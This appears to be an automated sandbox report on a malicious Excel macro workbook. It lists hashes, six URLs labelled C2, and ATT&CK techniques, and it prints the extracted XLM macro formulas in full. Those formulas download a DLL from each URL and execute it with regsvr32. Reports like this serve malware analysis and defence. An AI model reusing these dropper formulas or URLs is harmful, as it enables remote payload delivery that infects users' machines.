General

  • Target

    RLP1964598032xlsm.xlsm

  • Size

    46KB

  • Sample

    230701-h4hgraha5x

  • MD5

    8d9e59e5063fe4fdc5eb1f7e4f242405

  • SHA1

    c767e1544bbd7ea7c33d7d8034ef266c8d9f01a6

  • SHA256

    816139a521f5f7194347aea048e100b8893fa8ce7d6a86910a72bb190425e553

  • SHA512

    dacde4954db52f6dd220cc959e2434d88d9be58d517e4daeda68be650516caf81e64fa6b69e09a4ce7e1d03cf2021a470c214e8356d9671d6ee300104d24b40f

  • SSDEEP

    768:QmBlntZhEI2YmxNskmoKjBvK3HqK88F/G6YzATUfJnXYS6oRM:hBlntTEvDLmXi3JvG6YzATOJnXYSXRM

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://eles-tech.com/css/KzMysMqFMs/

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/

https://txpcrescue.com/cgi-bin/5tSO8/

http://hadramout21.com/jetpack-temp/Py/

http://haribuilders.com/zoombox-master/4HYGX/

http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://eles-tech.com/css/KzMysMqFMs/","..\xewn.dll",0,0) =IF('PIMKE'!C14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/","..\xewn.dll",0,0)) =IF('PIMKE'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://txpcrescue.com/cgi-bin/5tSO8/","..\xewn.dll",0,0)) =IF('PIMKE'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hadramout21.com/jetpack-temp/Py/","..\xewn.dll",0,0)) =IF('PIMKE'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://haribuilders.com/zoombox-master/4HYGX/","..\xewn.dll",0,0)) =IF('PIMKE'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://hansen-arnal.com/cp/iiTrAeEtvOwmjjekWgI/","..\xewn.dll",0,0)) =IF('PIMKE'!C24<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xewn.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://eles-tech.com/css/KzMysMqFMs/

xlm40.dropper

http://gonorthhalifax.com/wp-content/yTmYyLbTKZV2czsUO/

Targets

    • Target

      RLP1964598032xlsm.xlsm

    • Size

      46KB

    • MD5

      8d9e59e5063fe4fdc5eb1f7e4f242405

    • SHA1

      c767e1544bbd7ea7c33d7d8034ef266c8d9f01a6

    • SHA256

      816139a521f5f7194347aea048e100b8893fa8ce7d6a86910a72bb190425e553

    • SHA512

      dacde4954db52f6dd220cc959e2434d88d9be58d517e4daeda68be650516caf81e64fa6b69e09a4ce7e1d03cf2021a470c214e8356d9671d6ee300104d24b40f

    • SSDEEP

      768:QmBlntZhEI2YmxNskmoKjBvK3HqK88F/G6YzATUfJnXYS6oRM:hBlntTEvDLmXi3JvG6YzATOJnXYSXRM

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Tasks